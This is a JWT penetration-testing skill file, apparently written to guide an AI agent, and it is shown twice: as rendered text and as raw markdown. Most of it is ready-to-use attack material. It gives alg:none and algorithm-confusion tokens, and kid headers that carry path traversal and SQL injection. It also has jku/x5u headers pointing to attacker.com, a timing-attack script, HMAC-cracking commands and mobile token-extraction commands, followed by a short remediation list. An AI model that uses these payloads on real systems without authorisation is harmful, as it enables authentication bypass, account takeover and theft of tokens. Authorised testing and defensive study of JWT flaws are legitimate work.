Overview
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
Quick Reference: Misconfigurations to Check
- Algorithm set to
none — signature verification bypassed entirely
- Algorithm switching between
RSA and HMAC (confusion attack)
- Weak or guessable HMAC secret (brute-forceable)
kid, jku, jwk, x5u header parameters accepted without validation
- Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
Mechanisms
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm |
Type |
Notes |
| HS256/384/512 |
Symmetric HMAC |
Shared secret; confusion target |
| RS256/384/512 |
Asymmetric RSA |
Public key can be misused as HMAC secret |
| ES256/384/512 |
Asymmetric ECDSA |
|
| PS256/384/512 |
RSASSA-PSS |
|
| EdDSA (Ed25519/Ed448) |
Asymmetric |
|
| none |
Unsigned |
Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
typ/cty
- JWKS retrieval: SSRF via
jku/x5u, insecure TLS, poisoned key caching, kid collisions
- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
Hunt: Identifying JWT Usage
- Check
Authorization: Bearer <token> headers in all requests
- Look for cookies containing JWT structures (
eyJ...)
- Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any
kid, jku, jwk, x5u fields in the header — these are attack surfaces
Vulnerability Map
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
Vulnerabilities
Algorithm Vulnerabilities
- alg:none — Some libraries disable signature validation when
alg is none or a case variant (None, NONE, nOnE)
- Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
alg to HS256; attacker re-signs token with the public key
- Key ID (
kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups
Signature Vulnerabilities
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
Implementation Issues
- Missing Claims Validation —
exp, nbf, aud, iss not verified
- Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
Header Injection Attacks
- JWK Injection — Supply a custom attacker-controlled public key via the
jwk header
- JKU Manipulation — Point
jku (JWK Set URL) to attacker-controlled JWKS endpoint
- x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via
kid collisions or response header manipulation
crit Header Abuse — Server ignores unknown critical parameters, enabling bypass
Information Disclosure
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
- Keystore extraction: root device or exploit app
- Backup extraction:
adb backup -f backup.ab <package> (if allowBackup=true)
- Tools: Frida, objection, MobSF
iOS:
- Keychain: Check
kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Timing Attacks on HMAC
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
JWT in URL Parameters
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via
Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Manual Testing Steps
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature
Test none Algorithm (try all case variants):
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt
Test Missing Claim Validation:
- Remove or modify
exp (expiration)
- Change
iss (issuer) or aud (audience)
- Modify
iat (issued at) or nbf (not before)
Automated Testing with JWT_Tool
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
Other tools:
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction
Remediation Recommendations
- Use short-lived access tokens; rotate refresh tokens frequently
- Always validate
aud (audience) and iss (issuer) claims
- Disable
none algorithm; prevent algorithm downgrades; pin alg per client/issuer
- Ensure key material loaded for verification matches
alg; reject mismatches
- Reject tokens with unknown
crit header parameters
- Validate JWKS over pinned TLS; disallow remote
jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
- Enforce maximum token length; disable JWE compression unless required
- Maintain server-side deny-list keyed by
jti for early revocation
- For DPoP tokens (
typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
- Bind sessions to device when possible; rotate refresh tokens on every use
- Prefer
SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens
Alternatives & Modern Mitigations
- PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
- Macaroons — bearer tokens with attenuable, caveat-based delegation
- DPoP and mTLS — bind tokens to the client to prevent replay
Source: SnailSploit/Claude-Red → Skills/auth/offensive-jwt/SKILL.md
1---2name: offensive-jwt3description: JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.4---567## Overview89Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.1011## Quick Reference: Misconfigurations to Check1213- Algorithm set to `none` — signature verification bypassed entirely14- Algorithm switching between `RSA` and `HMAC` (confusion attack)15- Weak or guessable HMAC secret (brute-forceable)16- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation17- Expired or tampered tokens accepted by server18- Sensitive data stored unencrypted in payload1920Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)2122## Mechanisms2324JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.2526**Signing algorithms:**2728| Algorithm | Type | Notes |29|-----------|------|-------|30| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |31| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |32| ES256/384/512 | Asymmetric ECDSA | |33| PS256/384/512 | RSASSA-PSS | |34| EdDSA (Ed25519/Ed448) | Asymmetric | |35| none | Unsigned | Critically insecure |3637**Additional pitfalls:**38- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`39- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions40- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients4142## Hunt: Identifying JWT Usage43441. Check `Authorization: Bearer <token>` headers in all requests452. Look for cookies containing JWT structures (`eyJ...`)463. Examine browser local/session storage474. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters485. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces4950## Vulnerability Map5152```53JWT Vulnerabilities54├── Algorithm Bypass55│ ├── alg:none attack56│ └── RS256→HS256 confusion (public key as HMAC secret)57├── Weak Secret Key → Brute force58├── kid Parameter Injection59│ ├── SQL injection via kid60│ └── Path traversal via kid61├── Header Injection62│ ├── jwk (inline fake key)63│ ├── jku/x5u (remote attacker-controlled JWKS)64│ └── JWKS cache poisoning65└── Missing / Broken Validation66 ├── No signature check67 ├── Expired tokens accepted68 └── iss/aud/exp not validated69```7071## Vulnerabilities7273### Algorithm Vulnerabilities7475- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)76- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key77- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups7879### Signature Vulnerabilities8081- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat82- **Missing Signature Validation** — Token accepted without any verification83- **Broken Validation** — Implementation errors in signature checking logic8485### Implementation Issues8687- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified88- **Insufficient Entropy** — Predictable JWT IDs or tokens89- **No Expiration** — Tokens valid indefinitely90- **Insecure Transport** — Token sent over HTTP91- **Debug Leakage** — Detailed error messages expose implementation9293### Header Injection Attacks9495- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header96- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint97- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects98- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation99- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass100101### Information Disclosure102103- Sensitive data (PII, credentials, session details) stored unencrypted in payload104- Internal service/backend information leaked via claims105106## Additional Attack Vectors107108### Mobile App JWT Storage109110**Android:**111- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`112- Keystore extraction: root device or exploit app113- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)114- Tools: Frida, objection, MobSF115116**iOS:**117- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure118- iTunes/iCloud backup extraction: unencrypted backups expose Keychain119- Jailbreak + Keychain-Dumper for full extraction120- Tools: Frida, objection, idb121122**React Native / Hybrid:**123- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default124125```bash126# Android — check SharedPreferences127adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"128129# iOS — extract from backup130idevicebackup2 backup --full /path/to/backup131# Use plist/sqlite tools to extract JWT132```133134### JWT Confusion Attacks135136- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path137- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa138- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session139- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token140141```bash142# Try API key where JWT expected143curl -H "Authorization: Bearer <api_key>" https://api.target/resource144145# Try JWT where API key expected146curl -H "X-API-Key: <jwt_token>" https://api.target/resource147```148149### Timing Attacks on HMAC150151Non-constant-time comparison leaks the HMAC secret character by character via response time differences.152153```python154import requests, time155156def time_request(signature):157 start = time.perf_counter()158 r = requests.get('https://target/api',159 headers={'Authorization': f'Bearer header.payload.{signature}'})160 return time.perf_counter() - start161162# Brute-force first byte — longer response time indicates correct byte163for byte in range(256):164 sig = bytes([byte]) + b'\x00' * 31165 t = time_request(sig.hex())166```167168### JWT in URL Parameters169170- Tokens in GET URLs appear in server logs, proxy logs, browser history171- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens172173```bash174curl "https://api.target/resource?token=eyJ..."175curl "https://api.target/resource?access_token=eyJ..."176curl "https://api.target/resource?jwt=eyJ..."177```178179Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.180181## Manual Testing Steps1821831. **Decode and Inspect:**184 ```185 base64url_decode(header) . base64url_decode(payload) . signature186 ```1871882. **Test `none` Algorithm** (try all case variants):189 ```190 {"alg":"none","typ":"JWT"}.payload.""191 {"alg":"None","typ":"JWT"}.payload.""192 {"alg":"NONE","typ":"JWT"}.payload.""193 {"alg":"nOnE","typ":"JWT"}.payload.""194 ```1951963. **Algorithm Confusion (RS256→HS256):**197 ```198 # Re-sign with RSA public key used as HMAC secret199 {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>200 ```2012024. **kid Parameter Attacks:**203 ```204 {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}205 {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}206 {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}207 ```2082095. **JWK/JKU Injection:**210 ```211 {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}212 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}213 ```2142156. **x5u / crit Handling:**216 ```217 {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}218 {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}219 ```2202217. **Brute Force HMAC Secret:**222 ```bash223 python3 jwt_tool.py <token> -C -d wordlist.txt224 ```2252268. **Test Missing Claim Validation:**227 - Remove or modify `exp` (expiration)228 - Change `iss` (issuer) or `aud` (audience)229 - Modify `iat` (issued at) or `nbf` (not before)230231## Automated Testing with JWT_Tool232233```bash234# Basic token inspection235python3 jwt_tool.py <token>236237# Full vulnerability scan238python3 jwt_tool.py <token> -M all239240# Targeted attacks241python3 jwt_tool.py <token> -X a # Algorithm confusion242python3 jwt_tool.py <token> -X n # Null/none signature243python3 jwt_tool.py <token> -X i # Identity theft244python3 jwt_tool.py <token> -X k # Key confusion245246# Crack HMAC secret247python3 jwt_tool.py <token> -C -d wordlist.txt248```249250**Other tools:**251- JWT.io — basic token inspection and debugging252- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing253- jwtXploiter — advanced JWT vulnerability scanning254- c-jwt-cracker — high-speed HMAC brute force (C implementation)255- Frida, objection, MobSF — mobile JWT extraction256257## Remediation Recommendations258259- Use short-lived access tokens; rotate refresh tokens frequently260- Always validate `aud` (audience) and `iss` (issuer) claims261- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer262- Ensure key material loaded for verification matches `alg`; reject mismatches263- Reject tokens with unknown `crit` header parameters264- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness265- Enforce maximum token length; disable JWE compression unless required266- Maintain server-side deny-list keyed by `jti` for early revocation267- For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use268- Bind sessions to device when possible; rotate refresh tokens on every use269- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens270271## Alternatives & Modern Mitigations272273- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks274- **Macaroons** — bearer tokens with attenuable, caveat-based delegation275- **DPoP and mTLS** — bind tokens to the client to prevent replay276277---278279**Source:** [`SnailSploit/Claude-Red`](https://github.com/SnailSploit/Claude-Red) → `Skills/auth/offensive-jwt/SKILL.md`